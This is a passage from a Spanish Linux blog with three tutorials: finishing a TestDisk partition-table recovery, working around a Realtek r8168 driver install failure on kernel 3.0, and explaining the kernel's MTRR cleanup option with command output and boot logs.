[ 2146.589230] sd 9:0:0:0: [sdm] Assuming drive cache: write through
[ 2146.589233] sd 9:0:0:0: [sdm] Attached SCSI disk</pre><br />
Y el correspondiente puntero creado en <i>/dev/disk</i>:<br />
<pre class="brush: text"; highlight: 1;>lrwxrwxrwx 1 root root 9 nov 4 00:32 pci-0000:00:1d.7-usb-0:6.3:1.0-scsi-0:0:0:0 -> ../../sdm
lrwxrwxrwx 1 root root 9 nov 4 00:32 pci-0000:00:1f.2-scsi-0:0:0:0 -> ../../sdc
lrwxrwxrwx 1 root root 10 nov 3 23:53 pci-0000:00:1f.2-scsi-0:0:0:0-part1 -> ../../sdc1
lrwxrwxrwx 1 root root 9 nov 4 00:32 pci-0000:00:1f.2-scsi-0:0:1:0 -> ../../sdd
lrwxrwxrwx 1 root root 10 nov 3 23:53 pci-0000:00:1f.2-scsi-0:0:1:0-part1 -> ../../sdd1
lrwxrwxrwx 1 root root 9 nov 4 00:32 pci-0000:00:1f.2-scsi-1:0:0:0 -> ../../sde
lrwxrwxrwx 1 root root 10 nov 3 23:53 pci-0000:00:1f.2-scsi-1:0:0:0-part1 -> ../../sde1
lrwxrwxrwx 1 root root 9 nov 4 00:32 pci-0000:00:1f.2-scsi-1:0:1:0 -> ../../sdf
lrwxrwxrwx 1 root root 10 nov 3 23:53 pci-0000:00:1f.2-scsi-1:0:1:0-part1 -> ../../sdf1
lrwxrwxrwx 1 root root 9 nov 4 00:32 pci-0000:00:1f.5-scsi-1:0:0:0 -> ../../sdg
lrwxrwxrwx 1 root root 10 nov 3 23:53 pci-0000:00:1f.5-scsi-1:0:0:0-part1 -> ../../sdg1
lrwxrwxrwx 1 root root 9 nov 4 00:32 pci-0000:05:00.0-scsi-0:0:0:0 -> ../../sda
lrwxrwxrwx 1 root root 10 nov 3 23:53 pci-0000:05:00.0-scsi-0:0:0:0-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10 nov 3 23:53 pci-0000:05:00.0-scsi-0:0:0:0-part2 -> ../../sda2
lrwxrwxrwx 1 root root 10 nov 4 00:26 pci-0000:05:00.0-scsi-0:0:0:0-part3 -> ../../sda3</pre><br />
Si tratase de montar el dispositivo, obtendría mensajes de error del tipo sistema de archivo no válido:<br />
<pre class="brush: text";>agd-desktop # mount /dev/sdm /mnt/
mount: debe especificar el tipo de sistema de ficheros
agd-desktop # mount -t ext3 /dev/sdm /mnt/
mount: wrong fs type, bad option, bad superblock on /dev/sdm,
missing codepage or helper program, or other error
En algunos casos se encuentra información en syslog, pruebe
dmesg | tail o algo parecido
agd-desktop # mount -t ext4 /dev/sdm /mnt/
mount: wrong fs type, bad option, bad superblock on /dev/sdm,
missing codepage or helper program, or other error
En algunos casos se encuentra información en syslog, pruebe
dmesg | tail o algo parecido</pre><br />
A continuación se usará la herramienta <a href="http://www.cgsecurity.org/wiki/TestDisk" >TestDisk</a> para recuperar la tabla de particiones del disco. Al ejecutar TesDisk, lo primero que se nos pregunta es si deseamos crear un nuevo archivo de registro, añadir al archivo de registro existente u omitir. Lo mejor es tener un registro de todo lo que hemos hecho con el disco, por si fuese necesario.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh3.googleusercontent.com/-nCwH62UWx30/TrRwHaXjzjI/AAAAAAAAA60/Wm8o7qTjAPg/s587/root%2540agd-desktop%253A-usr-src-linux_090.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh3.googleusercontent.com/-nCwH62UWx30/TrRwHaXjzjI/AAAAAAAAA60/Wm8o7qTjAPg/s587/root%2540agd-desktop%253A-usr-src-linux_090.png" /></a></div><br />
En la segunda ventana, se nos muestran los discos detectados por el kernel. Debemos seleccionar el disco con el que queremos trabajar. En este ejemplo es el disco /dev/sdm.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh6.googleusercontent.com/-37NIKqnaB-c/TrRwHUcGNdI/AAAAAAAAA60/pLZbq9Qwfw0/s587/root%2540agd-desktop%253A-usr-src-linux_091.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh6.googleusercontent.com/-37NIKqnaB-c/TrRwHUcGNdI/AAAAAAAAA60/pLZbq9Qwfw0/s587/root%2540agd-desktop%253A-usr-src-linux_091.png" /></a></div><br />
A continuación se nos pregunta que queremos hacer: analizar el disco en busca de particiones perdidas, cambiar la geometría del disco, volver a escribir el <a href="http://es.wikipedia.org/wiki/Master_boot_record" >MBR</a>... En este caso, seleccionamos la primera opción puesto que nuestro objetivo es recuperar la tabla de particiones.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh6.googleusercontent.com/-VMiqQ5Tf76U/TrRwIQiyvPI/AAAAAAAAA60/CBLWdquIGBo/s587/root%2540agd-desktop%253A-usr-src-linux_093.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh6.googleusercontent.com/-VMiqQ5Tf76U/TrRwIQiyvPI/AAAAAAAAA60/CBLWdquIGBo/s587/root%2540agd-desktop%253A-usr-src-linux_093.png" /></a></div><br />
En este punto se nos pregunta por el tipo de tabla de partición. Si tiene duda, seleccione la primera (Intel/PC), aunque TesDisk permite trabajar con otros tipos de particiones como por ejemplo las GTP, usadas normalmente en los MAC.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh6.googleusercontent.com/-31Ax9dNaMdI/TrRwHTpxVPI/AAAAAAAAA60/5nTNio3e47M/s587/root%2540agd-desktop%253A-usr-src-linux_092.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh6.googleusercontent.com/-31Ax9dNaMdI/TrRwHTpxVPI/AAAAAAAAA60/5nTNio3e47M/s587/root%2540agd-desktop%253A-usr-src-linux_092.png" /></a></div><br />
Se nos mostrará un resumen de las particiones existentes actualmente. En el ejemplo puesto que la tabla de particiones está dañada, no se muestra ninguna. En cualquier caso deberemos pulsar en <i>Búsqueda rápida (Quick Search)</i><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh4.googleusercontent.com/-NnjngEH2Vm4/TrRwInoieEI/AAAAAAAAA60/vODq_Ux1WCE/s587/root%2540agd-desktop%253A-usr-src-linux_094.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh4.googleusercontent.com/-NnjngEH2Vm4/TrRwInoieEI/AAAAAAAAA60/vODq_Ux1WCE/s587/root%2540agd-desktop%253A-usr-src-linux_094.png" /></a></div><br />
Se nos preguntará si deseamos buscar particiones que hallan sido creadas en Windows Vista o posteriores. Si no está seguro pulse <i>Y</i>, aunque si solo usa Linux puede pulsar <i>N</i>.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh6.googleusercontent.com/-mPolmoIi0L0/TrRwIwWpOUI/AAAAAAAAA60/GEJ9LfNGBww/s587/root%2540agd-desktop%253A-usr-src-linux_095.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh6.googleusercontent.com/-mPolmoIi0L0/TrRwIwWpOUI/AAAAAAAAA60/GEJ9LfNGBww/s587/root%2540agd-desktop%253A-usr-src-linux_095.png" /></a></div><br />
En caso de que TestDisk encuentre algo, nos mostrará las particiones que ha localizado. En el ejemplo, como veis se han encontrado 4 particiones y como podéis deducir en ese disco duro ha tenido instalado Linux. Si pulsa <i>Intro</i> continuará y se le preguntará si desea escribir la tabla de particiones al disco. Si desea hacer algún cambio puede usar las teclas de dirección para seleccionar una partición concreto (arriba y abajo), para posteriormente (derecha e izquierda) marcarla como iniciable, primaria, lógica, extendida o simplemente eliminarla. Además puede usar las teclas <i>A</i> para crear una partición nueva, <i>L</i> para cargar un respaldo de la tabla de particiones, <i>T</i> cambiar el tipo de partición o <i>P</i> para listar los archivos contenidos. En el ejemplo, no se hará ningún cambio, simplemente pulsaremos la tecla <i>Enter</i><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh4.googleusercontent.com/-qj_oFEN7wmI/TrRwJMmERAI/AAAAAAAAA60/mqFGNN3DNws/s587/root%2540agd-desktop%253A-usr-src-linux_096.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh4.googleusercontent.com/-qj_oFEN7wmI/TrRwJMmERAI/AAAAAAAAA60/mqFGNN3DNws/s587/root%2540agd-desktop%253A-usr-src-linux_096.png" /></a></div><br />
Por último se nos pregunta si deseamos escribir la tabla de particiones al disco. Obviamente pulsamos <i>Y</i>.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh3.googleusercontent.com/-fDbSrTysK-c/TrRwKSKcGOI/AAAAAAAAA60/Y8zTHSpQcic/s587/root%2540agd-desktop%253A-usr-src-linux_098.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh3.googleusercontent.com/-fDbSrTysK-c/TrRwKSKcGOI/AAAAAAAAA60/Y8zTHSpQcic/s587/root%2540agd-desktop%253A-usr-src-linux_098.png" /></a></div><br />
TestDisk nos vuelve a mostrar la tabla de particiones actual del disco, y nos pregunta si deseamos salir o realizar una <i>búsqueda profunda</i>. En este caso, simplemente saldremos.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh4.googleusercontent.com/-H5XbcnqbFTo/TrRwJWIyU7I/AAAAAAAAA60/K6E9e8nHh6Q/s587/root%2540agd-desktop%253A-usr-src-linux_097.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh4.googleusercontent.com/-H5XbcnqbFTo/TrRwJWIyU7I/AAAAAAAAA60/K6E9e8nHh6Q/s587/root%2540agd-desktop%253A-usr-src-linux_097.png" /></a></div><br />
Antes de salir, TestDisk nos recuerda que para que debemos reiniciar el sistema para que los cambios tengan efecto. <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://lh5.googleusercontent.com/-ltnd-pqvYH8/TrRwKcGmGMI/AAAAAAAAA60/_UyaffsC_78/s587/root%2540agd-desktop%253A-usr-src-linux_099.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="386" width="587" src="https://lh5.googleusercontent.com/-ltnd-pqvYH8/TrRwKcGmGMI/AAAAAAAAA60/_UyaffsC_78/s587/root%2540agd-desktop%253A-usr-src-linux_099.png" /></a></div><br />
En nuestro caso, en lugar de reiniciar el ordenador, le indicaremos al kernel que vuelva a leer la tabla de particiones del disco <b>partprobe</b>, aunque para acelerar el proceso le indicaremos a que disco debe de volver a leer la tabla de particiones, para ello deberemos ejecutar <i>-de acuerdo al ejemplo aquí mostrado-</i> <b>partprobe /dev/sdm</b>.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com31tag:blogger.com,1999:blog-507892079964167031.post-52609547535799481822011-10-30T13:50:00.000+01:002011-11-01T12:45:33.013+01:00Compilar el driver Realtek RTL8111/8168B para la rama 3.0 del kernel LinuxEn la entrada <a href="http://www.makeinstall.es/2011/06/problemas-con-realtek-rtl81118168b.html">Problemas con Realtek RTL8111/8168B Gigabit Ethernet</a> se describió como solucionar los problemas de bloqueos, lentitud en la conexión, desconexiones... provocado por el driver, incluido en el kernel, de las tarjetas de red Realtek basadas en uno de los siguientes chipsets RTL8111B/RTL8168B/RTL8111/RTL8168, RTL8111C/RTL8111CP/RTL8111D(L), RTL8168C/RTL8111DP/RTL8111E o RTL8168E. Sin embargo un lector del blog (Ronindo) <a href="http://www.makeinstall.es/2011/06/problemas-con-realtek-rtl81118168b.html?showComment=1312387616908#c7544603601021554921">señalo problemas</a> al compilar dicho driver en la rama 3.0 del kernel.<br />
<br />
Hace poco actualicé al último <a href="http://packages.gentoo.org/package/sys-kernel/gentoo-sources">kernel estable de gentoo</a>, sys-kernel/gentoo-sources-3.0.6, y experimenté algunos problemas. En esta entrada se analizará el motivo y se ofrecerá la solución a este problema.<br />
<a name='more'></a><br />
Puede obtener los drivers para su tarjeta de red en la página de <a href="http://www.realtek.com.tw/downloads/" >descargas de Realtek</a>. Una vez obtenga los drivers para su tarjeta, deberá descomprimir y ejecutar el instalador automático ./autorun.sh Al realizar este paso es probable que le arroje el siguiente error:<br />
<pre class="brush: text">agd-desktop r8168-8.024.00 # ./autorun.sh
Check old driver and unload it.
Build the module and install
install: el objetivo «/lib/modules/3.0.6-gentoo-agd/kernel/drivers/net/» no es un directorio: No existe el fichero o el directorio
make[1]: *** [install] Error 1
make: *** [install] Error 2
</pre><br />
Para solucionar esto tan solo deberá crear dicho directorio y volver a lanzar el script de instalación:<br />
<pre class="brush: text">agd-desktop r8168-8.024.00 # mkdir /lib/modules/3.0.6-gentoo-agd/kernel/drivers/net/
agd-desktop r8168-8.024.00 # ./autorun.sh
Check old driver and unload it.
Build the module and install
Depending module. Please wait.
load module r8168
FATAL: Module r8168 not found.
Completed.
agd-desktop r8168-8.024.00 # ls /lib/modules/3.0.6-gentoo-agd/kernel/drivers/net/
r8168.o
</pre><br />
Como puede ver, el proceso de compilación funciona correctamente pero falla la carga del módulo. De hecho, tras mirar lo que ha sido copiado a <i>/lib/modules/3.0.6-gentoo-agd/kernel/drivers/net/</i>, verá que no es el driver, o al menos no esta en el formato que el kernel espera encontrar (.ko). Por ello se procederá a revisar los log de compilación tanto de la rama 2.6 como de la 3.0 del kernel, para saber que ocurre al compilar el driver en ambos kernel:<br />
<ul><li><a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5260954753579948182#" onclick="Effect.toggle("201110281830","slide"); return false">Log compilación en kernel 2.6 [+/-] Ver / Ocultar</a><br />
<div id="201110281830" style="display: none;"><pre class="brush: text">jue oct 20 00:48:29 CEST 2011
make -C src/ clean
make[1]: se ingresa al directorio `/usr/src/r8168-8.024.00/src'
rm -rf *.o *.ko *~ core* .dep* .*.d .*.cmd *.mod.c *.a *.s .*.flags .tmp_versions Module.symvers Modules.symvers Module.markers *.order
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
make -C src/ modules
make[1]: se ingresa al directorio `/usr/src/r8168-8.024.00/src'
make -C /lib/modules/2.6.38-gentoo-r6-agd/build SUBDIRS=/usr/src/r8168-8.024.00/src modules
make[2]: se ingresa al directorio `/usr/src/linux-2.6.38-gentoo-r6'
CC [M] /usr/src/r8168-8.024.00/src/r8168_n.o
CC [M] /usr/src/r8168-8.024.00/src/r8168_asf.o
CC [M] /usr/src/r8168-8.024.00/src/rtl_eeprom.o
CC [M] /usr/src/r8168-8.024.00/src/rtltool.o
LD [M] /usr/src/r8168-8.024.00/src/r8168.o
Building modules, stage 2.
MODPOST 1 modules
CC /usr/src/r8168-8.024.00/src/r8168.mod.o
LD [M] /usr/src/r8168-8.024.00/src/r8168.ko
make[2]: se sale del directorio `/usr/src/linux-2.6.38-gentoo-r6'
strip --strip-debug r8168.ko
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
make -C src/ install
make[1]: se ingresa al directorio `/usr/src/r8168-8.024.00/src'
install -m 744 -c r8168.ko /lib/modules/2.6.38-gentoo-r6-agd/kernel/drivers/net/
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
</pre></div></li>
<li><a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5260954753579948182#" onclick="Effect.toggle("201110281829","slide"); return false">Log compilación en kernel 3.0 [+/-] Ver / Ocultar</a><br />
<div id="201110281829" style="display: none;"><pre class="brush: text">jue oct 20 00:59:15 CEST 2011
make -C src/ clean
make[1]: se ingresa al directorio `/usr/src/r8168-8.024.00/src'
rm -rf *.o *.ko *~ core* .dep* .*.d .*.cmd *.mod.c *.a *.s .*.flags .tmp_versions Module.symvers Modules.symvers Module.markers *.order
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
make -C src/ modules
make[1]: se ingresa al directorio `/usr/src/r8168-8.024.00/src'
make -C /lib/modules/3.0.6-gentoo-agd/build SUBDIRS=/usr/src/r8168-8.024.00/src modules
make[2]: se ingresa al directorio `/usr/src/linux-3.0.6-gentoo'
CC [M] /usr/src/r8168-8.024.00/src/r8168_n.o
CC [M] /usr/src/r8168-8.024.00/src/r8168_asf.o
CC [M] /usr/src/r8168-8.024.00/src/rtl_eeprom.o
CC [M] /usr/src/r8168-8.024.00/src/rtltool.o
LD [M] /usr/src/r8168-8.024.00/src/r8168.o
Building modules, stage 2.
MODPOST 1 modules
CC /usr/src/r8168-8.024.00/src/r8168.mod.o
LD [M] /usr/src/r8168-8.024.00/src/r8168.ko
make[2]: se sale del directorio `/usr/src/linux-3.0.6-gentoo'
strip --strip-debug r8168.o
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
make -C src/ install
make[1]: se ingresa al directorio `/usr/src/r8168-8.024.00/src'
install -m 744 -c r8168.o /lib/modules/3.0.6-gentoo-agd/kernel/drivers/net/
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
</pre></div></li>
</ul><br />
Si ha sido cuidadoso al analizar el log, se habrá dado cuenta de la diferencia. En cualquier caso se resaltan a continuación:<br />
<pre class="brush: text; highlight: [1, 4]">install -m 744 -c r8168.ko /lib/modules/2.6.38-gentoo-r6-agd/kernel/drivers/net/
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
install -m 744 -c r8168.o /lib/modules/3.0.6-gentoo-agd/kernel/drivers/net/
make[1]: se sale del directorio `/usr/src/r8168-8.024.00/src'
</pre><br />
Como puede observar, cuando se ejecuta el script de instalación en un entorno con un kernel 3.0, la compilación no lanza ningún error pero no se copia el driver correcto <i>r8168.ko</i>, sino <i>r8168.o</i>. Al listar el contenido de <i>r8168-8.024.00/src/</i> el driver <i>r8168.ko</i> aparece por lo que presumiblemente fue correctamente compilado:<br />
<pre class="brush: text">agd-desktop r8168-8.024.00 # ls src/
Makefile r8168_asf.c r8168.ko r8168_n.o rtl_eeprom.o
Makefile_linux24x r8168_asf.h r8168.mod.c r8168.o rtltool.c
modules.order r8168_asf.o r8168.mod.o rtl_eeprom.c rtltool.h
Module.symvers r8168.h r8168_n.c rtl_eeprom.h rtltool.o
</pre><br />
Por tanto, lo único que debe hacer es copiar manualmente el driver de la tarjeta de red a su ubicación correcta, reconstruir la base de datos de dependencia de los módulos (modules.dep) y por último cargar el driver correspondiente. Ojo, si no lo ha hecho, antes de ejecutar estos comandos deberá descargar los drivers en uso con <b>rmmod r8169</b>, o <b>rmmod xxx</b>, el driver de red que este usando actualmente su kernel. A continuación podrá ver un ejemplo:<br />
<pre class="brush: text">agd-desktop r8168-8.024.00 # cp src/r8168.ko /lib/modules/3.0.6-gentoo-agd/kernel/drivers/net/r8168.ko
agd-desktop r8168-8.024.00 # depmod -a
agd-desktop r8168-8.024.00 # modprobe -l
kernel/arch/x86/kernel/microcode.ko
kernel/fs/fat/fat.ko
kernel/fs/fat/vfat.ko
kernel/fs/fat/msdos.ko
kernel/fs/isofs/isofs.ko
kernel/fs/ntfs/ntfs.ko
kernel/fs/udf/udf.ko
kernel/drivers/acpi/acpi_pad.ko
kernel/drivers/block/loop.ko
kernel/drivers/scsi/sr_mod.ko
kernel/drivers/scsi/scsi_wait_scan.ko
kernel/drivers/cdrom/cdrom.ko
kernel/lib/zlib_inflate/zlib_inflate.ko
kernel/drivers/net/r8168.ko
video/nvidia.ko
agd-desktop r8168-8.024.00 # modprobe r8168
agd-desktop r8168-8.024.00 # lsmod
Module Size Used by
r8168 183437 0
nvidia 11759386 30
</pre><br />
Llegado a este punto, tan solo le queda levantar la interface y pedir una dirección ip a su router.<br />
<pre class="brush: text">agd-desktop r8168-8.024.00 # ifconfig eth0 up
agd-desktop r8168-8.024.00 # ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:24:1d:cc:4b:e1
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:293 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:19124 (18.6 KiB) TX bytes:0 (0.0 B)
Interrupt:16 Base address:0xc000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:640 errors:0 dropped:0 overruns:0 frame:0
TX packets:640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:51928 (50.7 KiB) TX bytes:51928 (50.7 KiB)
agd-desktop r8168-8.024.00 # dhcpcd
dhcpcd[4115]: version 5.2.12 starting
dhcpcd[4115]: eth0: broadcasting for a lease
dhcpcd[4115]: eth0: offered 192.168.1.20 from 192.168.1.10
dhcpcd[4115]: eth0: acknowledged 192.168.1.20 from 192.168.1.10
dhcpcd[4115]: eth0: checking for 192.168.1.20
dhcpcd[4115]: eth0: leased 192.168.1.20 for 21600 seconds
dhcpcd[4115]: forked to background, child pid 4144</pre><br />
Por último debe indicar al sistema que driver debe cargar al iniciarse el sistema, para lo cual debe colocar el driver conflictivo en /etc/modprobe.d/blacklist.conf y el driver correcto en /etc/modules.autoload.d/kernel-3.0<br />
<pre class="brush: text">agd-desktop # echo "blacklist r8169" >> /etc/modprobe.d/blacklist.conf
agd-desktop # mkdir /etc/modules.autoload.d/
agd-desktop # echo "r8168" >> /etc/modules.autoload.d/kernel-3.0</pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com12tag:blogger.com,1999:blog-507892079964167031.post-90790688531958554692011-10-20T20:33:00.000+02:002011-10-20T20:34:14.524+02:00Optimizar el kernel Linux: MTRR cleanup supportAl configurar manualmente un kernel puede encontrarse con muchas opciones con las que aun haciendo uso de la ayuda no que totalmente claro que es o para que sirve. Un ejemplo de esto es la opción <i>[ ] MTRR (Memory Type Range Register) support</i> que se encuentra dentro del menú <i>Processor type and features</i>.<br />
<fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">1.- ¿Qué es MTRR (Memory Type Range Register)?</li>
</a></li>
<li><a href="#2">2.- Obtener información de la regiones MTRR definidas por el kernel</a></li>
<li><a href="#3">3.- Configurar el kernel</a></li>
<li><a href="#4">4.- Optimizar el valor de MTRR cleanup spare reg num</a></li>
</ul></fieldset><a name='more'></a><br />
<span class="title1"><a name="1">1.- ¿Qué es MTRR (Memory Type Range Register)?</a></span><br />
MTRR es un método de dividir los recursos de memoria con el objetivo de manejar-la de forma más efectiva y eficientemente. Puede verificar como su procesador tiene este característica simplemente comprobando los <i>flags</i> del mismo; con el comando <b>cat /proc/cpuinfo</b> lo que le arrojará algo similar a:<br />
<pre class="brush: text; highlight: [20]">agd-desktop # cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 26
model name : Intel(R) Core(TM) i7 CPU 920 @ 2.67GHz
stepping : 5
cpu MHz : 2664.602
cache size : 8192 KB
physical id : 0
siblings : 8
core id : 0
cpu cores : 4
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 11
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 popcnt lahf_lm ida dts tpr_shadow vnmi flexpriority ept vpid
bogomips : 5329.20
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
</pre><br />
MTRR también se encarga de mapear las localizaciones de los componentes PCI y AGP del sistema así como habilitar la escritura combinada, lo que a veces se puede traducir en aumentos de rendimientos.<br />
<br />
MTRR posee cuatro modos de acceso a la memoria:<br />
<ul><li><b>uncachable</b>, se deshabilita el acceso a la cache y los buffers; es por tanto el modo menos eficiente. Se utiliza normalmente para la memoria de mapeado E/S.</li>
<li><b>write-through</b>, los datos se escriben simultáneamente en la cache de la CPU y la memoria RAM.</li>
<li><b>Write-combining</b>, los datos en lugar de ser enviados inmediatamente como pequeños bloques de bits individuales, se almacenan y combinan temporalmente en un buffer para posteriormente ser enviados en <i>ráfagas</i>. Es un modo que da buenos resultados con tarjetas gráficas AGP</li>
<li><b>write-protect</b>, no se permite la escritura.</li>
<li><b>write-back,</b> los datos se escriben en la cache de la CPU, y en caso de ser necesario pasan a la memoria RAM. Es el modo más eficiente.</li>
</ul><br />
Los procesadores actuales de Intel y AMD pueden operar con un máximo de ocho regiones MTRR. Puede obtener más información en la documentación del kernel: <a href="http://www.mjmwired.net/kernel/Documentation/mtrr.txt">Linux Kernel Documentation :: mtrr.txt</a>.<br />
<br />
<span class="title1"><a name="2">2.- Obtener información de la regiones MTRR definidas por el kernel</a></span><br />
Para obtener información acerca de las regiones MTRR puede comenzar por consultar el archivo de registro generado durante el arranque del kernel. En el caso que nos ocupa, este registro se almacena en /var/log/kernel.log. Si desea aprender más sobre el registro de eventos del sistema, puede leer el artículo <a href="http://www.makeinstall.es/2011/05/gestion-de-archivos-de-registro-del.html">Gestión de archivos de registro del sistema</a>.<br />
<br />
A continuación se muestra la información, en relación a MTRR, arrojada por un kernel no configurado correctamente:<br />
<pre class="brush: shell">[ 0.000000] MTRR default type: uncachable
[ 0.000000] MTRR fixed ranges enabled:
[ 0.000000] 00000-9FFFF write-back
[ 0.000000] A0000-BFFFF uncachable
[ 0.000000] C0000-CDFFF write-protect
[ 0.000000] CE000-EFFFF uncachable
[ 0.000000] F0000-FFFFF write-through
[ 0.000000] MTRR variable ranges enabled:
[ 0.000000] 0 base 000000000 mask F00000000 write-back
[ 0.000000] 1 base 0E0000000 mask FE0000000 uncachable
[ 0.000000] 2 base 0D0000000 mask FF0000000 uncachable
[ 0.000000] 3 base 100000000 mask F00000000 write-back
[ 0.000000] 4 base 1C0000000 mask FC0000000 uncachable
[ 0.000000] 5 base 1B0000000 mask FF0000000 uncachable
[ 0.000000] 6 disabled
[ 0.000000] 7 disabled
[ 0.000000] x86 PAT enabled: cpu 0, old 0x7040600070406, new 0x7010600070106</pre>Como puede observar, el kernel ha activado seis de las ocho regiones MTRR posibles, y desactivado dos de ellas.<br />
<br />
Además puede consultar el archivo mtrr del sistema de archivos virtual /proc. A continuación se muestra la información contenida en este archivo en un sistema cuyo kernel no tiene activada la limpieza de regiones MTRR.<br />
<pre class="brush: shell">agd-desktop # cat /proc/mtrr
reg00: base=0x000000000 ( 0MB), size= 4096MB, count=1: write-back
reg01: base=0x0e0000000 ( 3584MB), size= 512MB, count=1: uncachable
reg02: base=0x0d0000000 ( 3328MB), size= 256MB, count=1: uncachable
reg03: base=0x100000000 ( 4096MB), size= 4096MB, count=1: write-back
reg04: base=0x1c0000000 ( 7168MB), size= 1024MB, count=1: uncachable
reg05: base=0x1b0000000 ( 6912MB), size= 256MB, count=1: uncachable</pre><br />
Esta configuración no es óptima porque tiene demasiadas regiones <i>uncachable</i>, las cuales, como ya se ha visto, ofrecen un rendimiento menor a las regiones de tipo <i>write-back</i>.<br />
<br />
<span class="title1"><a name="3">3.- Configurar el kernel</a></span><br />
A continuación podrá ver como deben quedar fijadas las opciones.<br />
<pre class="brush: text; highlight: [7, 8, 9, 10]">┌────────────────────── Processor type and features ──────────────────────┐
│ Arrow keys navigate the menu. <Enter> selects submenus --->. │
│ Highlighted letters are hotkeys. Pressing <Y> includes, <N> excludes, │
│ <M> modularizes features. Press <Esc><Esc> to exit, for Help, </> │
│ for Search. Legend: [*] built-in [ ] excluded <M> module < > │
│ ┌────^(-)─────────────────────────────────────────────────────────────┐ │
│ │ -*- MTRR (Memory Type Range Register) support │ │
│ │ [*] MTRR cleanup support │ │
│ │ (1) MTRR cleanup enable value (0-1) │ │
│ │ (1) MTRR cleanup spare reg num (0-7) │ │
│ │ [ ] EFI runtime service support │ │
│ │ [*] Enable seccomp to safely compute untrusted bytecode │ │
│ │ [*] Enable -fstack-protector buffer overflow detection (EXPERIMEN│ │
│ │ Timer frequency (1000 HZ) ---> │ │
│ │ [ ] kexec system call │ │
│ │ [ ] kernel crash dumps │ │
│ └────v(+)─────────────────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────────────────┤
│ <Select> < Exit > < Help > │
└─────────────────────────────────────────────────────────────────────────┘</pre><br />
Y lo que queda registrado, respecto a MTRR, en /var/log/kernel.log al iniciarse el kernel:<br />
<pre class="brush: text; highlight: [26]">[ 0.000000] MTRR default type: uncachable
[ 0.000000] MTRR fixed ranges enabled:
[ 0.000000] 00000-9FFFF write-back
[ 0.000000] A0000-BFFFF uncachable
[ 0.000000] C0000-CDFFF write-protect
[ 0.000000] CE000-EFFFF uncachable
[ 0.000000] F0000-FFFFF write-through
[ 0.000000] MTRR variable ranges enabled:
[ 0.000000] 0 base 000000000 mask F00000000 write-back
[ 0.000000] 1 base 0E0000000 mask FE0000000 uncachable
[ 0.000000] 2 base 0D0000000 mask FF0000000 uncachable
[ 0.000000] 3 base 100000000 mask F00000000 write-back
[ 0.000000] 4 base 1C0000000 mask FC0000000 uncachable
[ 0.000000] 5 base 1B0000000 mask FF0000000 uncachable
[ 0.000000] 6 disabled
[ 0.000000] 7 disabled
[ 0.000000] x86 PAT enabled: cpu 0, old 0x7040600070406, new 0x7010600070106
[ 0.000000] original variable MTRRs
[ 0.000000] reg 0, base: 0GB, range: 4GB, type WB
[ 0.000000] reg 1, base: 3584MB, range: 512MB, type UC
[ 0.000000] reg 2, base: 3328MB, range: 256MB, type UC
[ 0.000000] reg 3, base: 4GB, range: 4GB, type WB
[ 0.000000] reg 4, base: 7GB, range: 1GB, type UC
[ 0.000000] reg 5, base: 6912MB, range: 256MB, type UC
[ 0.000000] total RAM covered: 6144M
[ 0.000000] Found optimal setting for mtrr clean up
